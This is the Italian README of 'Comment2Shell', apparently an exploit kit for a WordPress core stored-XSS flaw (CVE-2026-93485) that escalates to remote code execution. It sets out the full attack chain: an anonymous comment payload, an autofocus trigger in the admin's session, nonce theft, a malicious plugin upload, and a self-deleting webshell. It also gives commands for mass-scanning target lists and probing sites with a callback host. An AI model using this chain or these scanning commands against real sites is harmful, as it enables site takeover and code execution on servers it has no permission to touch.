Catena di exploit WordPress pre-auth zero-click CVE-2026-93485: XSS memorizzato in wpautop() che scala fino al caricamento di plugin tramite sessione admin e a una webshell auto-eliminante, con scanner, shell e template Nuclei.
Comment2Shell è un proof-of-concept end-to-end per CVE-2026-93485, una
XSS memorizzata pre-autenticazione nel core di WordPress wpautop() che
si escala a esecuzione di codice remoto all'interno di una sessione amministratore. Un
commento anonimo inserisce il payload; quando un amministratore apre il post, il
browser carica un plugin webshell, esegue un comando ed elimina nuovamente la shell.
L'intera catena è un unico file Python senza dipendenze.
Comment2Shell è un exploit e un kit per laboratorio locale per CVE-2026-93485. Il bug
risiede in wp-includes/formatting.php, nel filtro dei paragrafi wpautop()
che viene eseguito al momento della visualizzazione sul testo dei commenti. Un carattere di nuova riga all'interno di un
attributo blockquote cite diventa un segnaposto di commento HTML; la
regex che avvolge i blockquote si ferma al primo > e inietta un
tag di paragrafo nel mezzo dell'attributo, che il browser poi
interpreta come un gestore onfocus. L'attributo autofocus lo attiva
con zero click.
Lo strumento copre l'intera catena: una scansione passiva della versione, una sonda XSS benigna, l'exploit completo da pre-autenticazione a RCE, una shell interattiva, e un controllo difensivo degli IOC.
L'exploit non richiede alcun account, alcun nonce e alcuna interazione oltre alla visualizzazione del post da parte dell'amministratore. I commenti devono solo essere aperti.
WordPress alimenta una larga parte del web e wpautop() è codice del core, quindi
il filtro vulnerabile è presente in ogni installazione interessata indipendentemente dal tema
o dal plugin. La XSS è memorizzata, pre-autenticazione e zero-click. Poiché
viene eseguita nella sessione dell'amministratore, è più di un semplice bug di defacement: il
cookie dell'amministratore è sufficiente per installare un plugin, e installare un plugin significa
esecuzione di codice arbitrario.
La correzione è stata rilasciata in WordPress 7.1.1 con backport su 25 branch, fino alla 4.7.36. Ogni versione dalla 4.7.0 alla 7.1.0 è interessata.
Esecuzione in laboratorio controllato contro WordPress 7.1.0: un commento anonimo inserisce
il payload, l'apertura del post da parte dell'amministratore attiva la catena zero-click,
la webshell viene caricata, l'output del comando viene restituito e la shell si elimina
da sola. Il titolo della scheda del browser riporta l'esito, ovvero
Comment2Shell: shell uploaded oppure Comment2Shell: admin login required.
Vedi docker/README.md per la procedura esatta.
Comment2Shell non rivendica la scoperta della vulnerabilità. È stata segnalata da Rafie Muhammad (Awesome Motive) tramite il programma HackerOne di WordPress e corretta nella 7.1.1. Il contributo qui è un'implementazione riproducibile e senza dipendenze dell'intera catena:
1. Anonymous comment submission (no auth, no nonce)
POST /wp-comments-post.php
<blockquote cite="a\nb"><code>x" onfocus=... autofocus>
KSES allows blockquote[cite] and code; the newline in cite survives.
2. Display-time filter chain (the bug)
wpautop() at formatting.php:563:
preg_replace('|<p><blockquote([^>]*)>|', '<blockquote$1><p>')
[^>]* stops at the > inside the <!-- wpnl --> comment,
so a <p> gets injected inside the cite attribute.
3. wptexturize() seals the attribute (block themes)
Outer " becomes ” (curly quote).
The " inside <code> stays straight (no-texturize list).
The browser then parses onfocus/autofocus as real attributes.
4. Zero-click XSS in the admin session
autofocus fires onfocus on page load, no click needed.
JS runs with the admin cookies.
5. Admin session -> plugin upload -> RCE
GET /wp-admin/plugin-install.php, extract the nonce.
Build ZIP in memory, POST update.php?action=upload-plugin.
Webshell lands at wp-content/plugins/<rand>/<rand>.php.
GET /wp-content/plugins/<rand>/<rand>.php?c=id
comment_registration=0)git clone https://github.com/DeathShotXD/Comment2Shell.git
cd Comment2Shell
python3 comment2shell.py --help
Solo libreria standard di Python 3.8+, senza pip install.
# Single target
python3 comment2shell.py --scan -t https://target.com
# Batch scan
python3 comment2shell.py --scan -f targets.txt --threads 20
# From a pipeline
subfinder -dL targets.txt | httpx -title | \
grep -i wordpress | python3 comment2shell.py --scan --stdin
# JSON output
python3 comment2shell.py --scan -t https://target.com --json -o results.json
Ogni oggetto risultato contiene questi campi:
| Campo | Significato |
|---|---|
target | l'URL di destinazione normalizzato |
wordpress | true quando è stato rilevato WordPress |
version | la versione rilevata, oppure null |
version_method | come è stata trovata la versione, ad esempio meta o readme |
vulnerable | true, false, oppure null quando la versione è sconosciuta |
post_id | un ID di post commentabile, oppure null |
error | una stringa di errore, oppure null |
# Submit the benign detection payload (sets document.title)
python3 comment2shell.py --probe -t https://target.com
# With an OAST callback
python3 comment2shell.py --probe -t https://target.com \
--callback https://your-id.oast.example